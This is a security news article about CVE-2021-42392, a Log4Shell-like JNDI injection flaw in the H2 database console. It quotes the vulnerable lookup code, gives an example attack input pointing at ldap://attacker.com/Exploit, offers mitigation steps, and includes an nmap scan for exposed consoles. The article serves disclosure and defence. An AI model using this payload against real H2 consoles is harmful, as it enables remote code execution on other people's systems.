You can now find Cyber Kendra on Google News!

Home
Posts

Researchers Discover Log4j-like Flaw in H2 Database Console

JNDI vulnerability in H2 database consoles similar to Log4Shell


A security researcher from JForg Security has discovered a critical JNDI-based vulnerability in the H2 database console similar to Log4Shell, a vulnerability that exists on the Apache logging library. This vulnerability is now being tracked as CVE-2021-42392. 

In the blog post, JForg explained that the Java Naming and Directory Interface (JNDI) is an API that provides naming and directory functionality for Java applications. H2 is a widely-used open-source Java SQL database used for various projects ranging from web platforms like Spring Boot to IoT platforms like ThingWorks. The com.h2database:h2 package is part of the top 50 most popular Maven packages, with almost 7000 artifact dependencies.

The bug CVE-2021-42392 should not be as widespread as Log4Shell, even though it is a critical issue with a similar root cause. 

What's the Cause of the Bug?

The root cause is similar to Log4Shell – several code paths in the H2 database framework pass unfiltered attacker-controlled URLs to the javax.naming.Context.lookup function, which allows for remote codebase loading (AKA Java code injection AKA remote code execution).

Mainly, the method org.h2.util.JdbcUtils.getConnection takes a driver class name and database URL as parameters. If the driver’s class is assignable to the javax.naming.Context class, the method instantiates an object from it and calls the following lookup method:
else if (javax.naming.Context.class.isAssignableFrom(d)) {
    // JNDI context
    Context context = (Context) d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource) context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}
After passing a driver class such as javax.naming.InitialContext and a URL such as ldap://attacker.com/Exploit cause code execution bugs.

The report notes that because so many artifacts use the H2 database, it is difficult for them to quantify how many vulnerable deployments of the H2 console exist in the wild. It also presents several attack vectors that we’ve found in the H2 database that allows triggering a remote JNDI lookup, with one of the vectors allowing for unauthenticated remote code execution.

What to do Now?

  • JFrog strongly recommends users upgrade their H2 database to the latest version, as they have seen a number of developer tools "relying on the H2 database and specifically exposing the H2 console."
  • When the H2 console Servlet is deployed on a web server (not using the standalone H2 webserver), a security constraint can be added that will allow only specific users access to the console page.

How to check for CVE-202142392?

JFrog team suggested network administrators can scan their local subnets for open instances of the H2 console with the following Nmap command –
nmap -sV --script http-title --script-args "http-DOMAIN.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

The default console endpoint in vanilla installations is “/”, this may be different in H2 consoles deployed via 3rd-party tools

Any returned servers are highly likely to be exploitable.

It's Not a New Vulnerability

It seems that the bug JForg discovered is not the new one. A researcher going with an alias "pyn3rd" has disclosed the same JNDI injection bug demonstrated in Spring Boot using the H2 database in April 2020.

Post a Comment